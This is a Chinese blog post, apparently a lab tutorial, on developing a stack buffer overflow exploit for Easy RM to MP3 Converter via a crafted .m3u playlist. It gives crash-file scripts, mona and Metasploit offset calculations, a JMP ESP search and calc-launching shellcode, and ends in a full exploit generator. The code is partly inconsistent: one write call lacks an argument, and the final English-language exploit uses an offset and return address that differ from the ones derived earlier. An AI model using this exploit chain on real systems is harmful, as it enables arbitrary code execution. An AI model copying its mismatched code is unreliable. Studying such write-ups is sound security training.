Easy RM to MP3漏洞分析
ssooking Lv5

测试环境

202012612256

Crash测试

生成Crash测试文件

1
python -c "print 'A' * 10000" > crash.m3u

使用Easy RM to MP3 Convertes加载Playlist Files文件,选择crash.m3u。加载后,程序会报错。

2020126121646

2020126122159

程序未崩溃,说明我们的输入的Crash字符长度还不够。于是继续生成更长的crash字符

1
python -c "print 'A' * 30000" > crash.m3u

当加载30000个字符的文件时,程序崩溃。

2020126125317

漏洞利用

使用 Immunity Debugger打开RM2MP3Converter.exe,按下两次F9键运行程序,然后加载crash.m3u。

2020126131032

此时会看到Access violation when executing [41414141],并且EIP的值被覆盖,说明程序存在经典缓冲区溢出漏洞。接下来使用mona插件进行漏洞利用开发。

1.⽣成测试字符

在Immunity Debugger的命令执行窗口中输入:

1
2
!mona pc 30000
(!mona pattern_create 30000)

运⾏完在日志文件C:\immdlogs\RM2MP3Converter\pattern.txt中找到测试字符串。

2.确定EIP地址

编辑Python脚本,把上一步mona生成的测试字符串ASCII拷贝到测试mona30000.txt中,然后把mona30000.txt修改为mona30000.m3u。或者用下面的python脚本生成:

1
2
3
4
5
6
7
#!/usr/bin/env python
# -*- coding: utf-8 -*-

mona_pattern = "" #填写ASCII的内容
bof = open('mona30000.m3u','w')
bof.write(mona_pattern)
bof.close()

然后加载mona30000.m3u。此时在调试器中可以看到Access violation标志,EIP的地址为346C4833

2020126143129

3.确定偏移量

在确定了EIP地址后,需要计算距离EIP的偏移量。

1
2
!mona po 346C4833
(!mona pattern_offset 346C4833)

此时在mona的日志窗口(ALT+L)中可以看到计算出的偏移量

1
Pattern 3Hl4 (0x346C4833) found in cyclic pattern at position 5801

可以看到,这里计算出的EIP偏移是5801,明显跟Crash测试中确定的范围25000-30000不符合。于是换个方法。

mona区间方式计算偏移

确定造成程序崩溃的缓冲区长度区间

创建一个包含25000个A和5000个B的文件。加载后造成Crash,如果EIP包含41414141(AAAA),说明EIP位于20000和25000之间;如果EIP包含42424242(BBBB),则EIP位于25000和30000之间。

1
2
3
4
5
6
7
#!/usr/bin/env python
# -*- coding: utf-8 -*-

bof = open('crash.m3u','w')
bof.write('A'*25000)
bof.write('B'*5000)
bof.close()

经过测试,可以确定EIP的偏移位于25000-30000之间。于是前25000都用A填充,使用!mona pc 5000生成后5000个测试字符。使用下面的代码生成测试文件:

1
2
3
4
5
6
7
8
#!/usr/bin/env python
# -*- coding: utf-8 -*-

pattern="xxxx" #!mona pc 5000 => ASCII
bof = open('eip.m3u','w')
bof.write('A'*25000)
bof.write()
bof.close()

同上述步骤,加载eip.m3u文件后,在调试器中确定了eip地址为6B42306B,执行!mona po 6B42306B计算得到偏移量为1081。这个偏移量再加上25000,即25000+1081=26081,因此正确的偏移量是26081。

Metasploit计算偏移量

Metasploit有辅助工具pattern_create.rbpattern_offset.rb可以协助我们计算偏移量,用法与mona差不多。

1
2
$ locate pattern_create.rb
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb

1.生成测试字符串

1
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 30000 > pattern.txt

与上面相同的操作步骤确定EIP地址为346C4833。

2.计算详细的偏移量。

1
2
3
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 346C4833 -l 30000
[*] Exact match at offset 5801
[*] Exact match at offset 26081

可以推断,26081是正确的偏移量。

4.验证偏移量

此时可以编写脚本,验证偏移量是否正确,如果正确,返回地址会被覆盖成我们测试的内容。这里设置理想情况下,EIP的值被覆盖为BCDE的十六进制值。

1
2
3
4
5
6
7
#!/usr/bin/env python
# -*- coding: utf-8 -*-

bof = open('overeip.m3u','w')
bof.write('A' * 26081)
bof.write('BCDE') #BCDE => 42434445
bof.close()

加载overeip.m3u后,我们可以在调试器中看到EIP已经被精准覆盖成了BCDE的十六进制值。

202012617912

确定了偏移量之后,可以开发漏洞利用代码了。

5.编写shellcode

查看加载的模块

1
!mona modules

我们使用”跳板”方式执行shellcode,可以在防护全关闭的模块中寻找。

最好的是找到一个ASLR = FalseRebase = False的模块,但是唯一的模块就是RM2MP3Converter.exe。但是,我们不能使用该模块,因为它的地址中有一个空字节。因此,接下来要尝试的是查看具有Rebase = TrueASLR = False的模块在实践中是否不会移动,即使从原理上讲它可以重新建立基础。最后仅保留ASLR = False的模块。

这里我在user32.dll中搜索jmp esp指令的地址。

1
2
3
4
!mona find -s '\xff\xe4' -m 模块
!mona find -s "\xff\xe4" -m user32.dll
!mona jmp -r esp -m user32.dll
!mona jmp -r esp -m MSRMfilter03.dll

2020126172212

我们使用0x7DC7FCDB。接下来构造shellcode,使用弹计算器的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
"\x33\xC0"                          # XOR EAX,EAX
"\x50" # PUSH EAX
"\x68\x2E\x65\x78\x65" # PUSH ".exe"
"\x68\x63\x61\x6C\x63" # PUSH "calc"
"\x8B\xC4" # MOV EAX,ESP
"\x6A\x01" # PUSH 1
"\x50" # PUSH EAX
"\xBB\x41\x33\xDF\x7D" # MOV EBX,0x7ddf3341 (kernel32.WinExec)
"\xFF\xD3" # CALL EBX
"\x53" # PUSH EBX
"\xB8\x28\x7A\xD7\x7D" # MOV EAX,0x7dd77a28 (kernel32.ExitProcess)
"\xFF\xD0" # CALL EAX

其中系统库函数WinExec、ExitProcess的地址:

1
2
C:\arwin.exe Kernel32.dll WinExec         => 0x7ddf3341
C:\arwin.exe Kernel32.dll ExitProcess => 0x7dd77a28

确定shellcode空间大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import struct


junk = "A"*26081
over_eip_test = 'BCDE'
over_eip = struct.pack("<L",0x7dc7fcdb) #!mona jmp -r esp -m user32.dll => 0x7dc7fcdb
payload = "F"*200

payload = junk + over_eip_test + payload


try:
bof = open('poctest.m3u','w')
bof.write(payload)
print "Create exploit file successfully!"
except:
print "Create exploit file failed!"

加载后,我们看到F的位置就是能够输入的最大shellcode长度 ,即 192 字节

202012619936

下面就是shellcode部分了。下载calc.exe shellcode,并将其转换为十六进制格式。可参考博文:binary to shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
if __name__ == "__main__":
shellcode = "\""
ctr = 1
maxlen = 15

for b in open("win-exec-calc-shellcode.bin", "rb").read():
shellcode += "\\x" + b.encode("hex")
if ctr == maxlen:
shellcode += "\" +\n\""
ctr = 0
ctr += 1
shellcode += "\""
print shellcode

With my JMP ESP address and shellcode in hand, it was time to craft my full exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bof = open('crash.m3u','w')
bof.write('A'*26066) # offset
bof.write('\xCC\x8C\x28\x76') # kernel32.dll JMP ESP (0x76288CCC)
bof.write('\x90'*16) # NOP sled
# win-exec-calc
bof.write("\x31\xc9\x49\x31\xd2\xe3\x47\x52\x68\x63\x61\x6c\x63\x89\xe6" +
"\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30" +
"\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01" +
"\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c" +
"\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c" +
"\xae\xff\xd7\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x83" +
"\xec\x28\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48" +
"\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28" +
"\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17" +
"\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74" +
"\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7")
bof.close()

Reference

  • Post title:Easy RM to MP3漏洞分析
  • Post author:ssooking
  • Create time:2020-01-26 12:27:00
  • Post link:https://ssooking.github.io/2020/01/easy-rm-to-mp3漏洞分析/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.